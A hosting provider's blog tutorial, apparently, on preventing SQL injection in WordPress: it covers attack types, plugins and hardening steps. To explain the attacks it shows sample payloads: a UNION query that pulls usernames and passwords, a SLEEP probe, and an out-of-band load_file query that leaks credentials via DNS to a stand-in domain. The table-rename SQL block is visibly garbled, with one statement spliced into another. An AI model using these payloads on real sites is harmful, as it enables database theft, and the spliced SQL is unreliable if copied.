How to Prevent WordPress SQL Injection Attacks?

Do you want to keep your WordPress website safe from hacker attacks?

Security is crucial in website development. A WordPress SQL injection can allow hackers to access and exploit sensitive database information.

SQL Injection occurs due to vulnerabilities in backend coding. Attackers can exploit input fields by inserting malicious code that executes SQL commands, allowing them to create, retrieve, update, or delete data in the database.

SQL injection vulnerabilities affect approximately 1.57% of WordPress sites, with a notable infection rate of 1.85%.

Over 600,000 WordPress websites were affected by a blind SQL injection vulnerability in the WP Statistics plugin.

Suggestion: Before you make any changes to your database, we suggest creating a backup first. This means that if something goes wrong, you can use the backup to restore it. For more information, check out our tutorial on how to backup your MySQL Database.

Common entry points for SQL Injection attacks:

  • Sign-up forms
  • Login forms
  • Contact forms
  • Site searches
  • Feedback fields
  • Shopping carts

Table of Content

  1. Why Are SQL Injection Attacks Common?
  2. What is a WordPress SQL injection attack?
  3. Types of SQL Injection Attacks
  4. How to Prevent SQL Injection Attacks on WordPress
  5. SQL Injection Plugins for WordPress

Why Are SQL Injection Attacks Common?

  • Most website databases are based on SQL.
  • WordPress is the most widely used Content Management System (CMS), and uses SQL for its database.
  • All websites have input fields to gather information from visitors.
  • All websites have at least one SQL Injection entry point.
  • SQL Injection scanning tools are readily available online.
  • Exploiting these vulnerabilities does not require high technical complexity.

What is a WordPress SQL injection attack?

SQL is a programming language used to manage databases. All WordPress sites use databases like MySQL, MariaDB, and AuroraDB.

SQL injections are attacks where hackers use SQL to access hidden information. To break into websites, they type harmful SQL commands into user input fields, like login boxes, search bars, or sign-up forms.

Imagine a hacker entering harmful SQL code into a WordPress input field. If the input is used in a database query without strict validation, the database might run malicious commands.

This can result in unauthorized access or changes to data, such as modifying information or user permissions and carrying out DDoS attacks.

This could harm customer trust, negatively affect user experience, and reduce website traffic, which isn’t good for the growth of your small business.

Types of SQL Injection Attacks

1. In-Band SQLi

In-band SQL injection is a common type of SQL injection because it is easy and effective. It comes in two forms: error-based and union-based.

  • Error-bases SQLi

An error-based SQL injection attack makes the database show error messages that reveal its structure.

Attackers do this by injecting SQL commands into input fields, using single quotes, double quotes, or operators like AND, OR, or NOT.

For example, a site’s URL might accept a parameter from visitors:

https://www.test.com/index.php?data=123

In this case, attackers could append a single quote at the end of the parameter:

https://www.test.com/index.php?data=123′

This can return sensitive information and attackers can get the data of:

  1. Confirmation that the database utilizes MySQL
  2. A specific syntax that triggered the error
  3. The exact location in the query where the error occurred
  • Union-Based SQLi

It uses the UNION SQL operator to combine multiple SELECT statements into one response, potentially revealing sensitive data.

Attackers use the UNION keyword to get more data than the original query intended, allowing them to add extra SELECT queries to the original one.

It can be executed:

SELECT a, b FROM table1 UNION SELECT c, d FROM table2

This query will merge values from two columns into a single result set. It combines values from columns A and B from one table with columns C and D from another.

For this SQL injection to succeed, a few requirements need to be met:

– Each query must return the same number of columns.

– The data types of each column must be compatible with the queries.

If these conditions are met, attackers can get results from their injected query. Once they figure out the right number of columns and data types, SQL injection hackers can access the content of your database tables.

For example, if the original query fetches two string columns like usernames and passwords, attackers can input the following:

UNION SELECT username, password FROM users–

These query results can cause serious trouble. When it happens, the personal information on your website becomes reachable and can be misused in many ways.

2. Inferential SQL 

Inferential SQL, also known as blind SQL injection (blind SQLi), is a type of SQL injection attack where the attacker can’t directly see the results of their malicious code in the application.

  • Boolean-based Blind SQLi: The attacker makes queries that give a true or false response based on whether specific data exists in the database.
  • Time-based Blind SQLi: The attacker adds queries that make the database do slow operations, like delays or sleep functions.
select * from posts WHERE post_id=1-SLEEP(10);

When the response is successfully delayed, the attacker can confirm that SQL injection is possible. This indicates that the server uses a MySQL database, allowing for more complex payload injections.

3. Out-of-band SQLi 

Out-of-band (OOB) SQL Injection is a type of attack where the attacker does not receive a response on the same communication channel. Instead, the application is manipulated to send data to a remote endpoint controlled by the attacker.

The server must support commands that trigger DNS or HTTP requests for this to work. This is common in popular SQL servers.

MySQL server version 5.5.52 and below starts with an empty secure_file_priv setting. This allows attackers to steal data by creating a request to their domain using the load_file function, which retrieves the stolen data in the request.

SELECT load_file(CONCAT('\\\\',(SELECT+@@version),'.',(SELECT+user),'.', (SELECT+password),'.',test.com\\test.txt'))

As a result, the application will send a DNS request to the specified domain, potentially exposing sensitive information like your database version, usernames, and passwords.

AccuWeb Hosting’s Managed WordPress Hosting ensures your data is protected from attacks and malware with proactive security measures.

How to Prevent SQL Injection Attacks on WordPress?

1. Perform Site Updates Regularly And Use a Firewall

Regularly updating your WordPress site to the latest version is an effective way to prevent SQL injection attacks. These updates often fix security vulnerabilities, including database software issues, making it harder for hackers to target your site.

Also, consider using a firewall for added protection.

  1. Log into your WordPress dashboard.
  2. Click on the Updates page.
  3. Click the “Enable automatic updates for all new versions of WordPress” link. This will ensure that all major updates are installed on your site as soon as they’re released.

After completing that, you can also include a firewall for extra security. This feature acts like a shield between your site and incoming traffic, blocking common security threats, including SQL attacks, before they can reach your website.

2. Hide Your WordPress Version

If others can see which WordPress version you’re using, it could expose your site to SQL injection risks. Each version has its security flaws, so this information could assist attackers in breaching your database.

Usually, your WordPress version is shown in your website’s header.

<meta name=”generator” content=”WordPress 6.5.3″ />

By hiding this information, you can make it more challenging for SQLi attackers to target your site.

    1. Log into your cPanel account.
    2. Navigate to the Files > File Manager.
    3. Inside public_html, select wp-content > themes folder.
    4. Choose your active theme; in this folder, open the functions.php file.
    5. Add the following code:
      function remove_version() {
      return '';
      }
      add_filter('the_generator', 'remove_version');
    6. Save your changes.

3. Change the WordPress Database Prefix

By default, WordPress uses the prefix wp_ for all your database tables, which makes it easier for hackers to plan an attack by targeting this prefix.

The simplest way to prevent SQL injection attacks is to replace the default database prefix with something unique that hackers won’t easily guess.

You can do this easily by connecting to your website using FTP or cPanel. Then, open the wp-config.php file and find the line with $table_prefix. Change it from the default wp_ to something else, like wp_b123456_.

$table_prefix  = ‘wp_b123456_’;

Next,

  1. Log into your cPanel account.
  2. Navigate to the Databases > PHPMyAdmin.
  3. Select your database name and click on the SQL tab.

Afterwards, you can insert the following SQL query into the text box. When editing the wp-config.php file, remember to replace the database prefix with your chosen one.

RENAME table `wp_comments` TO `wp_b123456_comments`;

RENAME table `wp_options` TO `wp_b123456_options`;

RENAME table `wp_postmeta` TO `wp_b123456_postmeta`;

RENAME table `wp_RENAME table `wp_commentmeta` TO `wp_b123456_commentmeta`;

posts` TO `wp_b123456_posts`;

RENAME table `wp_terms` TO `wp_b123456_terms`;

RENAME table `wp_termmeta` TO `wp_b123456_termmeta`;

RENAME table `wp_term_relationships` TO `wp_b123456_term_relationships`;

RENAME table `wp_usermeta` TO `wp_b123456_usermeta`;

RENAME table `wp_users` TO `wp_b123456_users`;

4. Verify User Input

Hackers often inject SQL attacks into your website using fields intended for entering user data, such as comment sections or contact form fields.

That’s why validating all data submitted on your WordPress blog is crucial. This ensures user data is only accepted if it follows a specific format.

For example, users can only submit their form if the email address field contains the ‘@’ symbol. Adding such validation to most form fields can help prevent SQL injection attacks.

You’ll need Formidable Forms, an advanced form builder plugin, to achieve this. It offers an ‘Input Mask Format’ option where you can specify the format users must follow to submit the form field data.

You can specify a particular format for phone numbers or single text fields.

 

If you want to avoid manually validating your form fields, use WPForms. It’s the top contact form plugin, offering comprehensive spam protection and Google reCAPTCHA support.

With WPForms, you can also include dropdown menus and checkboxes in your forms. This helps make it harder for hackers to insert malicious data.

5. Limit User Role Access and Permissions

Additionally, another way to prevent WordPress SQL injection attacks is by restricting user access to your website.

Let’s say you’re running a multi-author blog with different authors, subscribers, and administrators. In this scenario, restricting full admin access solely to the administrator can boost site security.

You can limit the other user roles to only the functions they need to perform their tasks. This reduces access to your database and helps prevent SQL injection attacks.

You can do it using the free Remove Dashboard Access plugin.

  1. Log into your WordPress dashboard.
  2. Navigate to the Plugins > Add New.
  3. Search for the Remove Dashboard Access plugin.
  4. Click on Install Now and Activate it.
  5. Go to the Settings > Dashboard Access page to choose which user roles can access the dashboard.

6. Remove Unnecessary Database Functionality

Removing any unnecessary database functionality and files from your website is essential to prevent SQL injection attacks.

For example, you can delete unnecessary tables, trash, or unapproved comments that may leave your database vulnerable to hackers.

To eliminate unnecessary database functionality, we suggest the WP-Optimize plugin. This excellent plugin removes unnecessary tables, post revisions, drafts, trashed comments, deleted posts, pingbacks, post metadata, and more.

SQL Injection Plugins for WordPress

Outdated software can make your WordPress site vulnerable to SQL injection attacks. However, security plugins can protect you. Using tools like these can help you focus on other important aspects of running your WordPress site.

1. Sucuri

Sucuri Security is a well-regarded tool that offers a free option. It allows you to track who logs into your site, what changes are made, and by whom.

After installing Sucuri, it scans your files for malware, provides blacklist monitoring, and offers an optional firewall. To add this plugin to your site, go to Plugins > Add New Plugins and download it.

Once installed and activated, navigate to the plugin’s dashboard and select “Generate API Key” to activate event monitoring.

This key will authenticate HTTP requests, and add an extra layer of security to your site.

Version: 1.8.44

Active installations: 800,000+

WordPress Version: 3.6 or higher

2. Wordfence Security

Wordfence Security enhances your website’s protection with an additional firewall to prevent SQL injections. Additionally, it offers Two-Factor Authentication (2FA) and scans for malware, primarily targeting WordPress SQL injections.

To install the plugin, navigate to Plugins > Add New Plugins, search for Wordfence Security, and download it.

After downloading, click on “Activate.” The plugin is now operational, and you can start scanning for malware whenever needed.

Version: 7.11.5

Active installations: 5+ million

WordPress Version: 3.9 or higher

3. All In One Security

All In One Security not only provides an extra firewall but also makes it harder for bots to register as users. This protects your code and blocks IP addresses from generating excessive 404 errors or attempting phishing.

To install the plugin, go to Plugins > Add New Plugins, download it, and then activate it.

Next, navigate through the plugin’s settings to configure your site’s security. You can enable features like “Login Lockdown” and monitor who is logged into your site.

Version: 5.3.0

Active installations: 1+ million

WordPress Version: 5.0 or higher

Conclusion

SQL injection attackers can exploit your database by inserting malicious SQL statements. While this is a common issue for WordPress sites, you can easily remove any injected malware. However, implementing security measures can prevent future attacks and safeguard your data.

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